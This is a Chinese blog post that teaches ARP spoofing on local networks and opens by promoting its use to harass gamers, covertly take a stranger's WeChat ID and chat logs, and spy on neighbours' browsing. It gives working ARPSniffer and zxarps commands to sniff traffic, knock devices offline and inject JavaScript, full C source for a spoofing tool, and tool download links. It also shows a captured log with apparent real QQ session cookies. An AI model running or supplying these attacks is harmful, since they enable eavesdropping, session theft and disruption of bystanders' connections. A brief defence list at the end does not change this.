ARP欺骗的作用

  当你在网吧玩,发现有人玩LOL大吵大闹, 用ARP欺骗把他踢下线吧

  当你在咖啡厅看上某一个看书的妹纸,又不好意思开口要微信号, 用arp欺骗,不知不觉获取到她的微信号和聊天记录,吓一吓人家也是可以的嘛;

  当你没啥事的时候, 想窜改局域网内的baidu的首页, 用arp欺骗吧, 把baidu首页跳到你想要的网页;

  当你想看看同一个局域网的人都在浏览啥玩意儿的时候, 用arp欺骗, 那就不无聊了啊;

  ARP欺骗

  很早以前就接触过局域网ARP欺骗, 一直没去尝试, 今天就试试,通过ARP欺骗,截获局域网中任意一台计算机的网络通信数据,很早以前网吧就有 "聚生网管", "网络执法官", 也都是通过ARP欺骗让局域网中的任意一台机器断网

  首先普及一下基本知识:

  什么是网关

首先来简单解释一下什么是网关,网关工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门。

  ARP协议是什么

  ARP(Address Resolution Protocol)地址转换协议,工作在OSI模型的数据链路层,在以太网中,网络设备之间互相通信是用MAC地址而不是IP地址,ARP协议就是用来把IP地址转换为MAC地址的。而RARP和ARP相反,它是反向地址转换协议,把MAC地址转换为IP地址。 假设A(192.168.1.2)与B(192.168.1.3)在同一局域网,A要和B实现通信。A首先会发送一个数据包到广播地址(192.168.1.255),该数据包中包含了源IP(A)、源MAC、目的IP(B)、目的MAC,这个数据包会被发放给局域网中所有的主机,但是只有B主机会回复一个包含了源IP(B)、源MAC、目的IP(A)、目的MAC的数据包给A,同时A主机会将返回的这个地址保存在ARP缓存表中。

  ARP 欺骗分为两种,一种是双向欺骗,一种是单向欺骗:

  单向ARP欺骗

  掐断 A 与 B 的通讯,实现原理:C 向 A 发送一条 Arp 数据包,内容为:B 的地址是 00:00:00:00:00:00 (一个错误的地址),那么 A 此后向 B 发的数据包都会发到 00,而这个地址是错误的,所以通讯中断了,但是要注意了,这里只是 A –> B 中断了,B –> A 没有中断,所以这个叫单向欺骗。

  掐断 B 与 A 的通讯,实现原理和第一条一样,如果和第一条一起发,那么 A 和 B 的通讯就完全中断了,即:A <– × –> B

   嗅探 A 与 B 的通讯,实现原理:C 向 A 发送一条 Arp 数据包,内容为:B 的地址是 AA:BB:CC:DD:EE:FF (C自己的地址),也就是说,C 对 A 说:我才是 B,于是 A 把向 B 发送的数据都发给 C 了,C 得到数据后就可以为所欲为了,可以直接丢弃,那么通讯中断,也可以再次转发给 B,那么又形成回路,C 当了个中间人,监视 A 和 B 的通讯,此时你就可以用CAIN等任何抓包工具进行本地嗅探了,因为目标机器数据完全从你这你走,任意嗅探。当然你可以不转发所有数据,只转发部分数据, 把某些特定协议的数据分离出来,然后单独处理,例如替换、修改(类似 zxarp 等 Arp 工具的插入、劫持数据功能),或者干点其他啥,都行。

  双向ARP欺骗

  A要跟C正常通讯,B向A说我是才C。B向C说我才是A,那么这样的情况下把A跟C的ARP缓存表全部修改了。以后通讯过程就是 A把数据发送给B,B在发送给C,C把数据发送B,B在把数据给A。

  攻击主机发送ARP应答包给被攻击主机和网关,它们分别修改其ARP缓存表为, 修改的全是攻击主机的MAC地址,这样它们之间数据都被攻击主机截获。

  开始ARP欺骗

  我们需要一个exe工具,ARPSniffer.exe, 这个是一个很古老的工具,下载地址是最后会给出来, 使用ARPSniffer之前,必须安装WinpCap,已经安装过了就不要安装了;

  下载好了解压, 打开命令行窗口(cmd), 定位到ARPSniffer目录下, 执行 arpsniffer.exe , 会出现以下的命令行帮助提示:

  安装提示的使用方法, arpsniffer的第一个参数为网关地址, 我这儿为:192.168.1.1, 第二个参数为要欺骗的IP地址, IP为:192.168.1.107, 第三个参数为要截取数据的端口号:80, 第四个参数是要把捕获的数据保存到指定的文件:log.txt ,一整句命令为:

arpsniffer 192.168.1.1 192.168.1.107 80  log.txt

  此时注意力转移到IP为192.168.1.107的机器上, 在这台机器上随便打开几个网页;

  看到在执行命令行的那台计算机上, 命令行窗口一直在闪,   截图:

  截获的log.txt文件, 内容为:

111.13.82.76(80)->111.13.82.76(53349)敁p?        ?   111.13.82.76(80)->111.13.82.76(53349)敁p?        ?   111.13.82.76(80)->111.13.82.76(53349)敁p?        ?   111.13.82.76(80)->111.13.82.76(53349)敁p?        ?   111.13.82.76(80)->111.13.82.76(53349)敁p?        ?   111.13.82.76(80)->111.13.82.76(53349)敁p?        ?   192.168.1.109(56097)->192.168.1.109(80)
GET /wan/box/Version/WDVersionUpdate.php?version=1.1.2.2&uin=346668791&apps=1105437481_0.5.3.6 HTTP/1.1
Host: apps.game.qq.com
Accept: */*117.144.244.45(80)->117.144.244.45(56097)
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 16 Nov 2016 06:25:01 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding6c
锘縶"bin":{"ret":0,"msg":"you are the latest version"},"app":[{"ret":0,"id":"1105437481"}],"ret":0,"msg":""}
0192.168.1.109(56099)->192.168.1.109(80)
POST /cm/ReportNew.php HTTP/1.1
Referer: http://www.qq.com
User-Agent: ctgame
Host: apps.wusp.qq.com
Content-Length: 907
Cache-Control: no-cache
Cookie: pt2gguin=o0004247426; RK=6GEq2bbyFh; ptcz=e031b28dc1c3f609157085d4ef85a6c7abaa89e74fe2b9ddb2c3d2f60f054ca1; pgv_pvid=9711168810; eas_sid=01m427J7j8q9k0V6z3v8b2J1l7; ptui_loginuin=1297282063; pgv_pvi=9363555328192.168.1.109(56099)->192.168.1.109(80)
{"data":[{"table": "MicroGBDoingEventNew","iUin": "0","iEventId": "50010","iAction": "2800264","iAppId": "4294967295","vMac": "d4bed9e247df","iClientVersion": "1010202","iLoginWay": "4294967295","vFlashVersion": "13.0.0.182","vSysVersion": "6.1.7601","vBrowserVersion": "9.0.8112.16421"},{"table": "MicroGBDoingEventNew","iUin": "0","iEventId": "50010","iAction": "2800275","iAppId": "4294967295","vMac": "d4bed9e247df","iClientVersion": "1010202","iLoginWay": "4294967295","vFlashVersion": "13.0.0.182","vSysVersion": "6.1.7601","vBrowserVersion": "9.0.8112.16421"}]
}
117.135.175.161(80)->117.135.175.161(56099)
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 16 Nov 2016 06:25:02 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding29
var ReportNew_JSON = {"ret":0,"msg":"OK"}
0

View Code

  目标机器请求的数据和收到的数据都会被我截获, 目标机器的请求中如果有一些明文密码, 那么我们就可以...., 目标的请求cookie也可以获取到, 也就是说,我们可以绕过密码,直接登录网页的后台比如qq空间,qq邮箱, weibo啊这些地方;

  但是目前的ARP欺骗属于单向欺骗, 我们虽然截取目标机器的数据, 但是并没有转发, 所以目标机器浏览网页的时候会卡死, 这样很容易被发觉, 我们继续往下走;

  让局域网中的任意一台计算机或者手机断线

  让局域网中的任意一台计算机或者手机断线,前提是我们要先知道别人手机IP或者电脑IP ,接着执行命令, 第一个参数为本地的网关,第二个参数为要断网的设备,第三个参数为 端口号为80:

ARPSniffer 192.168.1.1 192.168.1.105 80 log.txt 

  以上的代码只是劫持了80 端口, 还要再劫持 443端口, 重新执行一遍 :

ARPSniffer 192.168.1.1 192.168.1.105 443 log.txt 

  此时IP为192.168.1.105的设备将会断网, 此时这个设备可以是一台android手机或者iphone手机,或者电脑..等;

  

  zxarps实现双向截取数据,并修改网页内容

  zxarps可以截获服务器返回的内容,并返回个被攻击的机器,而且这个过程中被攻击的机器完全不会察觉到,文章最后会提供zxarps.exe文件地址, 要使用zxarps也需要安装WinpCap.exe;

  下载完毕以后解压, 同样使用cmd(命令行窗口)定位到zxarps的目录, 执行zxarps.exe:

  按照zxarp的文档, 我想让所有被攻击的用户在访问任意网站的时候, 执行我给出的JS代码, 构建出对应的命令为:

zxarps.exe -idx 0 -ip 192.168.1.102 -p 80 -insert   "<script>alert('chenqihao, sgoyi !')</script>"

  现在只要IP为192.168.1.102的计算机用户访问协议为http的网页, 页面中都会弹出一条消息,通过查看网页源代码也可以看到, javascript代码被正确插入到页面中:

  命令行提示“成功插入代码”:

  IP为192.168.0.107的用户登录www.youku.com的时候页面上出现了一个提示框, 通过查看网页源码,我们也看到了攻击者添加的JS代码

  zxarps还有其他的使用方式,比如捕获用户的网页请求数据接收数据, 截取IP为192.168.1.7192.168.1.105的所有网页请求并保存起来, 构造如下的命令行:

zxarps -idx 0 -ip 192.168.1.107,192.168.1.105 -p 80 -save_a log.txt

  命令行开始闪了, 抓包开始了咯, 抓取的所有数据都会保存到log.txt中:

  ARP欺骗可以实现局域网挂广告, 盗取明文密码, 偷偷刷weibo粉丝, 查看别人的聊天记录等, 获取局域网妹纸的微信号,qq号等, 毕竟可以插入JavaScript代码了, 啥事干不了...

  有些同学说,都是黑色窗口的命令行,我不会啊! 其实也有图形界面的ARP欺骗工具, netfuke , 至于怎么使用就不多做介绍了;

  arpCheat源码解析:

    arpCheat是基于C++的代码, 需要winpcap的相关lib, 互联网中的arp包格式为:

  我们只要构造出一个请求结构体,把结构体发送给远程计算机即可实现ARP欺骗, 提供一些代码作为参考:

  AppCheat.h

#ifndef MY_ARP_CHEAT_INCLUDE_H
#define MY_ARP_CHEAT_INCLUDE_H   //字节对齐必须是1
#pragma pack (1)
struct ethernet_head
{   unsigned char dest_mac[6]; //目标主机MAC地址   unsigned char source_mac[6]; //源端MAC地址   unsigned short eh_type; //以太网类型
};   struct arp_head
{   unsigned short hardware_type; //硬件类型:以太网接口类型为1   unsigned short protocol_type; //协议类型:IP协议类型为0X0800   unsigned char add_len; //硬件地址长度:MAC地址长度为6B   unsigned char pro_len; //协议地址长度:IP地址长度为4B   unsigned short option; //操作:ARP请求为1,ARP应答为2   unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址   unsigned long sour_ip; //源IP地址:发送方的IP地址   unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址   unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址  unsigned char padding[18];
};   struct arp_packet //最终arp包结构
{   ethernet_head eth; //以太网头部   arp_head arp; //arp数据包头部
};
#pragma pack ()
/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName);
/**
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac,   unsigned long srcIP, unsigned long destIP);   #endif  

View Code

  AppCheat.cpp

#include <stdio.h>
#include <pcap.h>
#include <conio.h>
#include <packet32.h>
#include <ntddndis.h>
#include "ArpCheat.h"   int main(int argc,char* argv[]){   pcap_if_t *alldevs; //全部网卡列表   pcap_if_t *d; //一个网卡   int inum; //用户选择的网卡序号   int i=0; //循环变量   pcap_t *adhandle; //一个pcap实例   char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区   unsigned char *mac; //本机MAC地址   unsigned char *packet; //ARP包   unsigned long fakeIp; //要伪装成的IP地址   pcap_addr_t *pAddr; //网卡地址   unsigned long ip; //IP地址   unsigned long netmask; //子网掩码   if(argc!=2){   printf("Usage: %s inet_addr\n",argv[0]);   return -1;   }   //从参数列表获得要伪装的IP地址   fakeIp = inet_addr(argv[1]);   if(INADDR_NONE==fakeIp){   fprintf(stderr,"Invalid IP: %s\n",argv[1]);   return -1;   }   /* 获得本机网卡列表 */   if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)   {   fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);   exit(1);   }   /* 打印网卡列表 */   for(d=alldevs; d; d=d->next)   {   printf("%d", ++i);   if (d->description)   printf(". %s\n", d->description);   else   printf(". No description available\n");   }   //如果没有发现网卡   if(i==0)   {   printf("\nNo interfaces found! Make sure WinPcap is installed.\n");   return -1;   }   //请用户选择一个网卡   printf("Enter the interface number (1-%d):",i);   scanf("%d", &inum);   //如果用户选择的网卡序号超出有效范围,则退出   if(inum < 1 || inum > i)   {   printf("\nInterface number out of range.\n");   /* Free the device list */   pcap_freealldevs(alldevs);   return -1;   }   /* 移动指针到用户选择的网卡 */   for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);   mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://"
      printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n",   mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);   /* 打开网卡 */   if ( (adhandle= pcap_open(d->name, // name of the device   65536, // portion of the packet to capture   0, //open flag   1000, // read timeout   NULL, // authentication on the remote machine   errbuf // error buffer   ) ) == NULL)   {   fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n",   d->name);   /* Free the device list */   pcap_freealldevs(alldevs);   return -1;   }   for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){   //得到用户选择的网卡的一个IP地址   ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;   //得到该IP地址对应的子网掩码   netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;   if (!ip || !netmask){   continue;   }   //看看这个IP和要伪装的IP是否在同一个子网   if((ip&netmask)!=(fakeIp&netmask)){   continue; //如果不在一个子网,继续遍历地址列表
        }   unsigned long netsize = ntohl(~netmask); //网络中主机数  unsigned long net = ip & netmask; //子网地址   for(unsigned long n=1; n<netsize; n++){   //第i台主机的IP地址,网络字节顺序   unsigned long destIp = net | htonl(n);   //构建假的ARP请求包,达到本机伪装成给定的IP地址的目的   packet = BuildArpPacket(mac,fakeIp,destIp);   if(pcap_sendpacket(adhandle, packet, 60)==-1){   fprintf(stderr,"pcap_sendpacket error.\n");   }   }   }   return 0;
}
/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName){   static u_char mac[6];   memset(mac,0,sizeof(mac));   LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);   if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))   {   return NULL;   }   PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));   if (OidData == NULL)   {   PacketCloseAdapter(lpAdapter);   return NULL;   }   //   // Retrieve the adapter MAC querying the NIC driver   //   OidData->Oid = OID_802_3_CURRENT_ADDRESS;   OidData->Length = 6;   memset(OidData->Data, 0, 6);   BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);   if(Status)   {   memcpy(mac,(u_char*)(OidData->Data),6);   }   free(OidData);   PacketCloseAdapter(lpAdapter);   return mac;   }   /**
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac,
unsigned long srcIP,unsigned long destIP)
{   static struct arp_packet packet;   //目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF   memset(packet.eth.dest_mac,0xFF,6);   //源MAC地址   memcpy(packet.eth.source_mac,source_mac,6);   //上层协议为ARP协议,0x0806   packet.eth.eh_type = htons(0x0806);   //硬件类型,Ethernet是0x0001   packet.arp.hardware_type = htons(0x0001);   //上层协议类型,IP为0x0800   packet.arp.protocol_type = htons(0x0800);   //硬件地址长度:MAC地址长度为0x06   packet.arp.add_len = 0x06;   //协议地址长度:IP地址长度为0x04   packet.arp.pro_len = 0x04;   //操作:ARP请求为1   packet.arp.option = htons(0x0001);   //源MAC地址   memcpy(packet.arp.sour_addr,source_mac,6);   //源IP地址   packet.arp.sour_ip = srcIP;   //目的MAC地址,填充0   memset(packet.arp.dest_addr,0,6);   //目的IP地址   packet.arp.dest_ip = destIP;   //填充数据,18B   memset(packet.arp.padding,0,18);   return (unsigned char*)&packet;
} 

View Code

  ARP欺骗的防范:

    1:不要随意登录免费的WIFI, 没人知道免费的WIFI是不是有恶意的攻击者在搞鬼;

    2:使用ARP绑定, 避免被ARP欺骗;

    3:开启电脑管家或者安全卫士的ARP防火墙;

    4:使用https协议或者其他有保密协议的连接访问外网,避免被坑

  一定要注意:

  ARPSniffer和zxarp只能在window系统上运行, 目前测试环境为WIN7旗舰版, 在别的系统上不一定能跑(我的window10 和另外一台win8就不行), winpCap也要根据你的目前的系统, 选择32位或者64位的进行下载;

  exe文件下载列表:

  WinpCap下载安装:http://pan.baidu.com/s/1i48KJPz

  ARPSniffer.exe下载: http://pan.baidu.com/s/1qXUlkV6

  zxarp.exe下载地址:http://pan.baidu.com/s/1bNSetw

  arp绑定::http://blog.sina.com.cn/s/blog_54c367d401018o1w.html

  ARP欺骗参考:http://blog.csdn.net/smstong/article/details/7221184

  ARP欺骗源码实现:http://blog.csdn.net/baggiowangyu/article/details/7081365

  WinPCap开发包:https://www.winpcap.org/devel.htm

  WinPCap:http://blog.csdn.net/tamarous/article/details/45753751

  linux和mac系统下arp欺骗参考:https://lngost.github.io/pages/articles/tech/ARP-Packet-By-c/arp-packet-by-c.html

作者: NONO
出处:http://www.cnblogs.com/diligenceday/
企业网站:http://www.idrwl.com/
开源博客:http://www.github.com/sqqihao
QQ:287101329
微信:18101055830

转载于:https://www.cnblogs.com/diligenceday/p/6069705.html

使用ARP欺骗, 截取局域网中任意一台机器的网页请求,破解用户名密码等信息相关推荐

  1. 如何实现远程控制局域网中的一台机器

    以下都是从别的地方转贴过来的,由于是拼凑起来的,请原谅不全部注名转贴地址了.^_^ 1.采用端口映射(Port Mapping)的方法,可以实现从Internet到局域网内部机器的特定端口服务的访问. ...

  2. 局域网计算机中arp,在局域网中的一台计算机上使用了arp-a命令,有如下输出: C:\arp.a Interface: 192.168.0.1 0n - 赏学吧...

    在局域网中的一台计算机上使用了arp-a命令,有如下输出: C:\arp.a Interface: 192.168.0.1 0n Interface Ox1000004 Intemet Address ...

  3. 局域网中的每台计算机主机扩展槽,计算机导论选择题

    1.冯.诺依曼的主要贡献是(B) A.发明了微型计算机 B.提出了存储程序概念 C.设计了第一台电子计算机 D.设计了高级程序设计语言 2.ALU完成算术操作和( C ) A.存储数据 B.奇偶校验  ...

  4. 在运行局域网中另一台电脑上的程序时,总是弹出“无法验证发行者,确定要运行此软件吗”

    在运行局域网中另一台电脑上的程序时,总是弹出"无法验证发行者,确定要运行此软件吗"  或者 "Security warning: The publisher could ...

  5. 一台计算机只能注册一台sql,局域网中的一台电脑为啥连接不到另一台电脑中的SQL远程数据库...

    当前位置:我的异常网» Sql Server » 局域网中的一台电脑为啥连接不到另一台电脑中的SQL 局域网中的一台电脑为啥连接不到另一台电脑中的SQL远程数据库 www.myexceptions.n ...

  6. java编程实现arp欺骗_局域网 ARP 欺骗原理详解

    局域网 ARP 欺骗原理详解 ARP 欺骗是一种以 ARP 地址解析协议为基础的一种网络攻击方式, 那么什么是 ARP 地址解析协议: 首先我们要知道, 一台电脑主机要把以太网数据帧发送到同一局域网的 ...

  7. python OpenCV 按时间间隔截取视频中任意片段帧

    通过视频制作相应的数据集,截取视频中的任意片段帧. 使用python截取视频中的任意片段帧,直接上代码: import cv2 import os# 定义视频文件路径和保存图像文件路径 video_p ...

  8. 局域网中的两台主机共享一台显示器

    最近由于下载需要用到并口,但是我现在的主机中没有并口,但是我还有一台老式的台式机电脑,主机有并口但是显示器是打屁股的,摆在那里很占地方,于是想着能不能实现两台主机共享一台显示器.想一想,要实现这个功能 ...

  9. 打开共享计算机很慢,局域网中,查看一台电脑的共享文件夹,打开很慢(电脑达人进)...

    2009-06-03 回答 共享策略: 我们在多机使用时候,连机使用共享文件是最常用到的,如何设置共享文件呢?下面我们就来一一介绍.首先我们要看看共享文件时需要的基本条件. windows网上邻居互访 ...

最新文章

  1. C语言实现的Web服务器
  2. 电脑开机出现C:\Windows\System32\drivers\fs_rec.sys
  3. python中flag的用法_python中“标志位”的使用
  4. 在双系统(Windows与Ubuntu)下删除Ubuntu启动项
  5. 如何模块化设计B端系统?
  6. 硬质合金销售真的有那么难么?
  7. linux设备模型之mmc子系统
  8. 已解决:nginx修改上传文件大小限制
  9. 喜欢熬夜的人注意!出现3大迹象时,说明身体极度危险!
  10. python爬取新浪博客_python爬虫-韩寒新浪博客博文
  11. 宋红康版JVM笔记 ppt
  12. win7刷新环境变量的方法
  13. 投射式触摸屏自电容与互电容工作原理基础(未完待续)
  14. JSON.stringify初步使用
  15. 山东理工ACM【1216】杨辉三角
  16. python unit test什么意思_Pycharm上python和unittest两种姿势傻傻分不清楚
  17. iPad 如何使用妙控键盘
  18. 医疗卫生信息化领域的一些术语和标准
  19. 自定义android控件:快速检索QuickSearch
  20. Nomad 多job/group/task调度测试

热门文章

  1. Python爬虫 | 利用python爬虫获取想要搜索的数据
  2. Mac 重命名快捷键
  3. 基于格的 Hash 函数(SWIFFT) BKW 算法
  4. 5、电子元器件基础知识大全,一文了解所有基本元器件
  5. 【C语言-进阶】指针进阶(2)
  6. mysql粗粒度_粗粒度(Coarse-grained)vs细粒度(fine-grained)
  7. 计算机网络:广域网以及相关协议
  8. 【faiss】安装(一)
  9. 区块链游戏中的网络效应:内容仍为王
  10. 恶意进程(云查杀)-DDOS木马